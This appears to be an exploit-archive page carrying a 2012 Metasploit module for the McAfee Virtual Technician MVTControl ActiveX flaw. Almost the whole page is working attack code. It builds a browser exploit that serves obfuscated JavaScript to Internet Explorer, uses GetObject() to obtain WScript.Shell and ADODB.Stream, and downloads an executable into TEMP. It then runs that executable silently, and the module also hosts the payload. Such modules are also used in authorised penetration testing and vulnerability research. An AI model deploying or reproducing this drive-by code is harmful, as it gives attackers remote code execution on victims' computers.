McAfee Virtual Technician MVTControl 6.3.0.1911 GetObject Vulnerability



EKU-ID: 2039 CVE: OSVDB-ID:
Author: sinn3r Published: 2012-05-02 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::EXE

 def initialize(info={})
  super(update_info(info,
   'Name'           => "McAfee Virtual Technician MVTControl 6.3.0.1911 GetObject Vulnerability",
   'Description'    => %q{
     This modules exploits a vulnerability found in McAfee Virtual Technician's
    MVTControl.  This ActiveX control can be abused by using the GetObject() function
    to load additional unsafe classes such as WScript.Shell, therefore allowing remote
    code execution under the context of the user.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'rgod',   #Initial discovery, Poc
     'sinn3r'  #Metasploit
    ],
   'References'     =>
    [
     [ 'EDB', '18805' ]
    ],
   'Payload'        =>
    {
     'BadChars'        => "\x00",
    },
   'DefaultOptions'  =>
    {
     'ExitFunction'         => "none",
     'InitialAutoRunScript' => 'migrate -f'
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic', {} ]
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Apr 30 2012",
   'DefaultTarget'  => 0))
 end

 def exploit
  @payload_name = rand_text_alpha(rand(6) + 5) + ".exe"
  super
 end

 def on_request_uri(cli, request)
  agent = request.headers['User-Agent']

  if agent !~ /MSIE \d/
   print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
   send_not_found(cli)
   return
  end

  if request.uri =~ /\.exe$/
   return if ((p=regenerate_payload(cli))==nil)
   data = generate_payload_exe({:code=>p.encoded})
   print_status("Sending payload")
   send_response(cli, data, {'Content-Type'=>'application/octet-stream'})
   return
  end

  # <object classid='clsid:2EBE1406-BE0E-44E6-AE10-247A0C5AEDCF' id='obj'></object>
  js = <<-JS
  var obj = new ActiveXObject("MVT.MVTControl.6300");

  var ws  = obj.GetObject("WScript.Shell");
  var ado = obj.GetObject("ADODB.Stream");
  var e   = ws.Environment("Process");
  var url = document.location + "/#{@payload_name}";
  var tmp = e.Item("TEMP") + "\\\\#{@payload_name}";

  var xml = new ActiveXObject("Microsoft.XMLHTTP");
  xml.open("GET", url, false);
  xml.send(null);
  res = xml.responseBody;

  ado.Type = 1;
  ado.Mode = 3;
  ado.Open();
  ado.Write(res);
  ado.SaveToFile(tmp);
  ws.Run(tmp, 0);
  JS

  js = ::Rex::Exploitation::JSObfu.new(js)
  js.obfuscate

  html = <<-EOS
  <html>
  <head>
  </head>
  <body>
  <script defer=defer>
  #{js}
  </script>
  </body>
  </html>
  EOS

  print_status("#{cli.peerhost}:#{cli.peerport} - Sending html")
  send_response(cli, html, {'Content-Type'=>'text/html'})

 end

end